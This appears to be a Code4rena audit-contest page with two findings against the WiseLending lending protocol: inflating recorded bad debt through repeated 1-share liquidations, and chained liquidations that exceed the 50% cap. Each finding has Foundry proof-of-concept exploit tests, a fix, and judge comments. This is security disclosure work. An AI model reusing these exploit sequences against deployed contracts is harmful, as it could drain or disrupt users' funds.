Platform: Code4rena
Start Date: 21/02/2024
Pot Size: $200,000 USDC
Total HM: 22
Participants: 36
Period: 19 days
Judge: Trust
Total Solo HM: 12
Id: 330
League: ETH
Rank: 7/36
Findings: 2
Award: $7,970.35
🌟 Selected for report: 1
🚀 Solo Findings: 1
🌟 Selected for report: JCN
Also found by: 0xStalin, Draiakoo, serial-coder
2538.3947 USDC - $2,538.39
When someone liquidates a position in WiseLending
contract, if it had bad debt, it is accounted in FeeManager
. This action is executed as follows:
/** * @dev Checks for bad debt logic. Compares * total ETH of borrow and collateral. */ function checkBadDebtLiquidation( uint256 _nftId ) external onlyWiseLending { uint256 bareCollateral = overallETHCollateralsBare( _nftId ); uint256 totalBorrow = overallETHBorrowBare( _nftId ); if (totalBorrow < bareCollateral) { return; } unchecked { uint256 diff = totalBorrow - bareCollateral; FEE_MANAGER.increaseTotalBadDebtLiquidation( diff ); FEE_MANAGER.setBadDebtUserLiquidation( _nftId, diff ); } }
As we can see, when the liquidation is executed inside the WiseLending
contract, it checks for the total collateral value of the position and the value borrowed. If the value borrowed exceeds the collateral, means that the position has bad debt and it needs to be accounted in the FeeManager
contract. To do that, it calls 2 functions: setBadDebtUserLiquidation
and increaseTotalBadDebtLiquidation
.
The behavior of each function is related with their names, in the case of the first function, it sets the bad debt to the position overriding the value it previously had, but for the second, it increments the bad debt to the previous value that totalBadDebtETH
variable had. Since liquidating a position does not ensure that it ends to a healthy state, someone can increment a lot of totalBadDebtETH
almost for free just by liquidating a position that has bad debt and repaying just 1 unit of borrowed share. Thus, the totalBadDebtETH
can be easily manipulated and this can harm the following actions:
FeeManager::claimWiseFees
to claim the fees from the lending component, the incentives for owner A and B would receive nothing. That is because the accounting of bad debt would be broken and it would always be greater than 0.function claimWiseFees( address _poolToken ) public { ... // @audit this state will never be reached if someone manipulates the total bad debt if (totalBadDebtETH == 0) { tokenAmount = _distributeIncentives( tokenAmount, _poolToken, underlyingTokenAddress ); } ... }
FeeManager::claimFeesBeneficial
will not work again for the same reason, because if there is any bad debt, the function call reverts.function claimFeesBeneficial( address _feeToken, uint256 _amount ) external { ... if (totalBadDebtETH > 0) { revert ExistingBadDebt(); } ... }
For the sake of testing, I adjusted the collateral factors manually when deploying the protocol locally:
createPoolArray[0] = PoolManager.CreatePool( { // Token 1 allowBorrow: true, poolToken: address(MOCK_ERC20_1), poolMulFactor: 17500000000000000, poolCollFactor: 0.85 ether, maxDepositAmount: 10000000000000 ether } ); createPoolArray[1] = PoolManager.CreatePool( { // Token 2 allowBorrow: true, poolToken: address(MOCK_ERC20_2), poolMulFactor: 25000000000000000, poolCollFactor: 0.65 ether, maxDepositAmount: 10000000000000 ether } );
And also created a function inside the MockChainlink
to set the prices of the tokens:
function setNewPrice(uint256 newPrice) public { ethValuePerToken = newPrice; }
Proof of concept to increase bad debt almost for free and unlimited amount of times:
function testIncreaseBadDebt() public { address token1 = 0xfDf134B61F8139B8ea447eD49e7e6adf62fd4B49; address token2 = 0xEa3aF45ae5a2bAc059Cd026f23E47bdD753E664a; uint256 liquidatedPositionNFT = 6; uint256 liquidatorPositionNFT = 7; testDeployLocal(); skip(1000); // Add some tokens2 to have enough liquidity address thirdParty = makeAddr("thirdParty"); deal(address(token2), thirdParty, 1_000 ether); vm.startPrank(thirdParty); IERC20(token2).approve(address(LENDING_INSTANCE), 1_000 ether); LENDING_INSTANCE.depositExactAmountMint(token2, 1_000 ether); vm.stopPrank(); // Initially the price for tokens are: // 1 Token1 = 1 ETH MOCK_CHAINLINK_1.setNewPrice(1 ether); // 1 Token2 = 1 ETH MOCK_CHAINLINK_2.setNewPrice(1 ether); // Bob is liquidating Alice address alice = makeAddr("alice"); address bob = makeAddr("bob"); deal(token1, alice, 100 ether); deal(token2, bob, 50 ether); vm.startPrank(alice); IERC20(token1).approve(address(LENDING_INSTANCE), 100 ether); LENDING_INSTANCE.depositExactAmountMint(token1, 100 ether); LENDING_INSTANCE.borrowExactAmount(liquidatedPositionNFT, token2, 80 ether); vm.stopPrank(); // Time passes and value of token3 drops significantly // 1 Token2 = 0.5 ETH // Bad debt is 30 ETH MOCK_CHAINLINK_1.setNewPrice(0.5 ether); console.log("Initial bad debt accounted in FeeManager", FEE_MANAGER_INSTANCE.totalBadDebtETH()); vm.startPrank(bob); IERC20(token2).approve(address(LENDING_INSTANCE), 200 ether); LENDING_INSTANCE.depositExactAmountMint(token2, 10 ether); LENDING_INSTANCE.liquidatePartiallyFromTokens(liquidatedPositionNFT, liquidatorPositionNFT, token2, token1, 1); LENDING_INSTANCE.liquidatePartiallyFromTokens(liquidatedPositionNFT, liquidatorPositionNFT, token2, token1, 1); LENDING_INSTANCE.liquidatePartiallyFromTokens(liquidatedPositionNFT, liquidatorPositionNFT, token2, token1, 1); LENDING_INSTANCE.liquidatePartiallyFromTokens(liquidatedPositionNFT, liquidatorPositionNFT, token2, token1, 1); // Calling liquidation function 4 times is accounting 120 ETH of bad debt because 4*30 = 120 console.log("Final bad debt accounted in FeeManager", FEE_MANAGER_INSTANCE.totalBadDebtETH()); vm.stopPrank(); }
Result:
[PASS] testIncreaseBadDebt() (gas: 43839712) Logs: Initial bad debt accounted in FeeManager 0 Final bad debt accounted in FeeManager 120000000000000000494 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 36.45ms Ran 1 test suite in 36.45ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)
Manual review
I would recommend to batch the bad debt accounting of the position and the total bad debt in the same function. And it would look like that:
function setBadDebtUserLiquidation( uint256 _nftId, uint256 _amount ) external onlyWiseSecurity { uint256 previousBadDebt = badDebtPosition[_nftId]; if(previousBadDebt == 0){ totalBadDebtETH += _amount; } else{ if(previousBadDebt > _amount){ uint256 discount = previousBadDebt - _amount; totalBadDebtETH -= discount; } else{ uint256 increment = _amount - previousBadDebt; totalBadDebtETH += increment; } } badDebtPosition[_nftId] = _amount; emit SetBadDebtPosition( _nftId, _amount, block.timestamp ); }
It checks if the position had a previously registered bad debt and account the total bad debt according to the updated bad debt of the position without being vulnerable to manipulation.
Error
#0 - c4-pre-sort
2024-03-17T14:37:02Z
GalloDaSballo marked the issue as duplicate of #74
#1 - c4-pre-sort
2024-03-18T16:27:33Z
GalloDaSballo marked the issue as high quality report
#2 - c4-judge
2024-03-26T19:01:21Z
trust1995 marked the issue as satisfactory
🌟 Selected for report: Draiakoo
5431.9558 USDC - $5,431.96
https://github.com/code-423n4/2024-02-wise-lending/blob/main/contracts/WiseLending.sol#L1250
The liquidation mechanism is intended as follows:
This feature is programmed here
However, since the liquidator can select which collateral he will receive, he can intentionally liquidate the highest collateralFactor
tokens in order to make the overall position's collateralFactor
to go down and being able to keep liquidating the other tokens. Since the intended maximum amount to liquidate when the position has no bad debt is 50%, if a user can intentionally create a sequence of liquidation that leads to a greater percentage it can be considered a high impact vulnerability.
Imagine the following situation:
The protocol supports these 4 tokens, A, B, C and D with these collateralFactors
Token | Collateral factor |
---|---|
A | 0.85 |
B | 0.65 |
C | 0.50 |
D | 0.70 |
The initial prices for these tokens are as follows:
Token | Price (in ETH) |
---|---|
A | 1 |
B | 0.2 |
C | 0.5 |
D | 1 |
Alice deposits these 3 amounts of token A, B and C as collateral
Token | Value | Amount | Unweighted value | Weighted value |
---|---|---|---|---|
A | 1 | 10 | 10 | 8.5 |
B | 0.2 | 50 | 10 | 6.5 |
C | 0.5 | 20 | 10 | 5 |
Total values | 30 | 20 |
Alice can borrow up to 20 * 0.95 = 19 worth of ETH, for the sake of simplicity, since token D is valued 1 ETH, she can borrow up to 19 of token D. However, she decides to borrow 18.9 to have a tiny healthy zone. Unfortunately for Alice, the price of token C drops to 0.25. And the situation continues as follows:
Token | Value | Amount | Unweighted value | Weighted value |
---|---|---|---|---|
A | 1 | 10 | 10 | 8.5 |
B | 0.2 | 50 | 10 | 6.5 |
C | 0.25 | 20 | 5 | 2.5 |
Total values | 25 | 17.5 |
In this stage, Alice can be liquidated up to 50% because her borrowed amount (18.9 ETH) is greater than her weighted value (17.5 ETH). Just 50% is liquidable because the 89% of her weighted value is greater than her borrowed amount.
Let's now demonstrate that if the liquidator receives the token with the highest collateralFactor
, the position will still be liquidable and he can chain this function call in order to liquidate a huge amount of collateral.
collateralFactor
.The new borrowed value from Alice would be 18.9 - 9.09 = 9.81
Token | Value | Amount | Unweighted value | Weighted value |
---|---|---|---|---|
A | 1 | 0 | 0 | 0 |
B | 0.2 | 50 | 10 | 6.5 |
C | 0.25 | 20 | 5 | 2.5 |
Total values | 15 | 9 |
We can clearly see that the borrowed value is still greater than Alice's weighted value. Hence, she can be liquidated again! See Coded Proof of Concept to see the full chain liquidation
collateralFactor
:The liquidator is forced to receive token C (lowest collateralFactor
). He decides to repay 4.54 worth of token D that when added with the fee (10%) will be 5. The whole value of collateral token C.
Token | Value | Amount | Unweighted value | Weighted value |
---|---|---|---|---|
A | 1 | 10 | 10 | 8.5 |
B | 0.2 | 50 | 10 | 6.5 |
C | 0.25 | 0 | 0 | 0 |
Total values | 20 | 15 |
The new borrowed value would be 18.9 - 4.54 = 14.36
This new borrowed value is smaller than the weighted value. Thus, Alice is no longer liquidable and her position is healthy.
See Coded Proof of Concept.
For the sake of testing, I adjusted the collateral factors manually when deploying the protocol locally:
createPoolArray[0] = PoolManager.CreatePool( { // Token A allowBorrow: true, poolToken: address(MOCK_ERC20_1), poolMulFactor: 17500000000000000, poolCollFactor: 0.85 ether, maxDepositAmount: 10000000000000 ether } ); createPoolArray[1] = PoolManager.CreatePool( { // Token B allowBorrow: true, poolToken: address(MOCK_ERC20_2), poolMulFactor: 25000000000000000, poolCollFactor: 0.65 ether, maxDepositAmount: 10000000000000 ether } ); createPoolArray[2] = PoolManager.CreatePool( { // Token C allowBorrow: true, poolToken: address(MOCK_ERC20_3), poolMulFactor: 15000000000000000, poolCollFactor: 0.5 ether, maxDepositAmount: 10000000000000 ether } ); createPoolArray[3] = PoolManager.CreatePool( { // Token D allowBorrow: true, poolToken: address(MOCK_WETH), poolMulFactor: 17500000000000000, poolCollFactor: 0.7 ether, maxDepositAmount: 10000000000000 ether } );
And also created a function inside the MockChainlink
to set the prices of the tokens:
function setNewPrice(uint256 newPrice) public { ethValuePerToken = newPrice; }
With all that said, let's see the PoC for the 2 previously explained situations:
function testChainLiquidation() public { address token1 = 0xfDf134B61F8139B8ea447eD49e7e6adf62fd4B49; address token2 = 0xEa3aF45ae5a2bAc059Cd026f23E47bdD753E664a; address token3 = 0x15BB461b3a994218fD0D6329E129846F366FFeB3; address token4 = 0x6B9d657Df9Eab179c44Ff9120566A2d423d01Ea9; testDeployLocal(); skip(1000); // Add some tokens4 to have enough liquidity address thirdParty = makeAddr("thirdParty"); deal(address(token4), thirdParty, 1_000_000 ether); vm.startPrank(thirdParty); IERC20(token4).approve(address(LENDING_INSTANCE), 1_000_000 ether); LENDING_INSTANCE.depositExactAmountMint(token4, 1_000_000 ether); vm.stopPrank(); // Initially the price for tokens are: // 1 Token1 = 1 ETH MOCK_CHAINLINK_1.setNewPrice(1 ether); // 1 Token2 = 0.2 ETH MOCK_CHAINLINK_2.setNewPrice(0.2 ether); // 1 Token3 = 0.5 ETH MOCK_CHAINLINK_3.setNewPrice(0.5 ether); // 1 Token4 = 1 ETH MOCK_CHAINLINK_4.setNewPrice(1 ether); // Bob is liquidating Alice address alice = makeAddr("alice"); address bob = makeAddr("bob"); deal(token1, alice, 10 ether); deal(token2, alice, 50 ether); deal(token3, alice, 20 * 10**6); deal(token4, bob, 200 ether); vm.startPrank(alice); IERC20(token1).approve(address(LENDING_INSTANCE), 10 ether); LENDING_INSTANCE.depositExactAmountMint(token1, 10 ether); IERC20(token2).approve(address(LENDING_INSTANCE), 50 ether); LENDING_INSTANCE.depositExactAmount(6, token2, 50 ether); IERC20(token3).approve(address(LENDING_INSTANCE), 20 * 10**6); LENDING_INSTANCE.depositExactAmount(6, token3, 20 * 10**6); LENDING_INSTANCE.borrowExactAmount(6, token4, 18.9 ether); uint256 initialBorrowShares = LENDING_INSTANCE.getPositionBorrowShares(6, token4); vm.stopPrank(); // Time passes and value of token3 drops significantly // 1 Token3 = 0.25 ETH MOCK_CHAINLINK_3.setNewPrice(0.25 ether); vm.startPrank(bob); IERC20(token4).approve(address(LENDING_INSTANCE), 200 ether); LENDING_INSTANCE.depositExactAmountMint(token4, 10 ether); LENDING_INSTANCE.liquidatePartiallyFromTokens(6, 7, token4, token1, 9.090909090909 ether); LENDING_INSTANCE.liquidatePartiallyFromTokens(6, 7, token4, token2, 2.7 ether); LENDING_INSTANCE.liquidatePartiallyFromTokens(6, 7, token4, token2, 3.5 ether); vm.stopPrank(); uint256 finalBorrowShares = LENDING_INSTANCE.getPositionBorrowShares(6, token4); uint256 percentageLiquidated = 100 - (finalBorrowShares * 100 / initialBorrowShares); console.log("Percentage liquidated", percentageLiquidated); }
Result:
[PASS] testChainLiquidation() (gas: 44546965) Logs: Percentage liquidated 81 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 38.40ms Ran 1 test suite in 38.40ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)
With 3 liquidation calls, the liquidator could repay 81% of Alice's position when in fact, the maximum percentage that the protocol allows when there is no bas debt is 50%.
collateralFactor
and then her position becomes healthyfunction testLiquidationsConstrainted() public { address token1 = 0xfDf134B61F8139B8ea447eD49e7e6adf62fd4B49; address token2 = 0xEa3aF45ae5a2bAc059Cd026f23E47bdD753E664a; address token3 = 0x15BB461b3a994218fD0D6329E129846F366FFeB3; address token4 = 0x6B9d657Df9Eab179c44Ff9120566A2d423d01Ea9; uint256 aliceNftPosition = 6; uint256 bobNftPosition = 7; testDeployLocal(); skip(1000); // Add some tokens4 to have enough liquidity address thirdParty = makeAddr("thirdParty"); deal(address(token4), thirdParty, 1_000_000 ether); vm.startPrank(thirdParty); IERC20(token4).approve(address(LENDING_INSTANCE), 1_000_000 ether); LENDING_INSTANCE.depositExactAmountMint(token4, 1_000_000 ether); vm.stopPrank(); // Initially the price for tokens are: // 1 Token1 = 1 ETH MOCK_CHAINLINK_1.setNewPrice(1 ether); // 1 Token2 = 0.2 ETH MOCK_CHAINLINK_2.setNewPrice(0.2 ether); // 1 Token3 = 0.5 ETH MOCK_CHAINLINK_3.setNewPrice(0.5 ether); // 1 Token4 = 1 ETH MOCK_CHAINLINK_4.setNewPrice(1 ether); // Bob is liquidating Alice address alice = makeAddr("alice"); address bob = makeAddr("bob"); deal(token1, alice, 10 ether); deal(token2, alice, 50 ether); deal(token3, alice, 20 * 10**6); deal(token4, bob, 200 ether); vm.startPrank(alice); IERC20(token1).approve(address(LENDING_INSTANCE), 10 ether); LENDING_INSTANCE.depositExactAmountMint(token1, 10 ether); IERC20(token2).approve(address(LENDING_INSTANCE), 50 ether); LENDING_INSTANCE.depositExactAmount(aliceNftPosition, token2, 50 ether); IERC20(token3).approve(address(LENDING_INSTANCE), 20 * 10**6); LENDING_INSTANCE.depositExactAmount(aliceNftPosition, token3, 20 * 10**6); LENDING_INSTANCE.borrowExactAmount(aliceNftPosition, token4, 18.9 ether); uint256 initialBorrowShares = LENDING_INSTANCE.getPositionBorrowShares(aliceNftPosition, token4); vm.stopPrank(); // Time passes and value of token3 drops significantly // 1 Token3 = 0.25 ETH MOCK_CHAINLINK_3.setNewPrice(0.25 ether); vm.startPrank(bob); IERC20(token4).approve(address(LENDING_INSTANCE), 200 ether); LENDING_INSTANCE.depositExactAmountMint(token4, 10 ether); LENDING_INSTANCE.liquidatePartiallyFromTokens(aliceNftPosition, bobNftPosition, token4, token3, 4.54 ether); // Having liquidated the token with less LVT, the position is no longer liquidable // Try to liquidate with the minimum amount of shares (1) vm.expectRevert(); LENDING_INSTANCE.liquidatePartiallyFromTokens(aliceNftPosition, bobNftPosition, token4, token3, 1); vm.stopPrank(); uint256 finalBorrowShares = LENDING_INSTANCE.getPositionBorrowShares(aliceNftPosition, token4); uint256 percentageLiquidated = 100 - (finalBorrowShares * 100 / initialBorrowShares); console.log("Percentage liquidated", percentageLiquidated); }
Result:
[PASS] testLiquidationsConstrainted() (gas: 44044788) Logs: Percentage liquidated 25 Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 40.81ms Ran 1 test suite in 40.81ms: 1 tests passed, 0 failed, 0 skipped (1 total tests)
With just a single liquidation call, the liquidator could only repay 25% of Alice's position and at that point, her position becomes healthy and she is no longer liquidable.
Manual review
This issue can be easily solved by forcing all liquidations to be done with the lowest collateralFactor
tokens first. As shown in the written and coded PoC, if the user would have been forced to receive the collateral token with the lowest collateralFactor
, the health of the position would go to non-liquidable and the liquidator would not be able to continue liquidating the position.
Also, a really good safety check would be to ensure that after the liquidation is executed, the health of the position must be good in order to prevent this chain liquidation.
Error
#0 - c4-pre-sort
2024-03-17T10:02:30Z
GalloDaSballo marked the issue as high quality report
#1 - c4-pre-sort
2024-03-17T15:46:08Z
GalloDaSballo marked the issue as primary issue
#2 - vonMangoldt
2024-03-19T15:03:39Z
This is not an issue since the liquidation incentive usually is lower than the difference in percentage between 100 and collateral factor. So paying back in my described scenario always makes the position more healthy. So high as a description is overblown! Also such a force could lead liquidators to be forced to loose money on a specific scenario before being able to access a profitable liquidation endangering the protocol
#3 - trust1995
2024-03-26T16:13:27Z
Cascading liquidations are a dangerous situation and I agree with the warden there are no built-in safety mechanisms around it in the liquidation routines (health is monotonically increasing or it is now healthy).
However the warden had to modify the collat factors to demonstrate the issue in a PoC.
It seems hard to determine whether by natural course of action, such a scenario would occur.
According to the sponsor's remarks, the liquidation incentive _usually_ is lower than the difference in percentage between 100 and collateral factor.
This has not convinced me it could not occur by chance at some point. In case it does, it leads to higher than expected liquidation penalties.
Weighing all the circumstances, I believe Med to be appropriate.
#4 - c4-judge
2024-03-26T16:13:30Z
trust1995 marked the issue as satisfactory
#5 - c4-judge
2024-03-26T16:14:13Z
trust1995 changed the severity to 2 (Med Risk)
#6 - c4-judge
2024-03-26T18:29:30Z
trust1995 marked the issue as selected for report
#7 - thebrittfactor
2024-04-29T14:33:58Z
For transparency and per conversation with the sponsors, see here for the Wise Lending team's mitigation.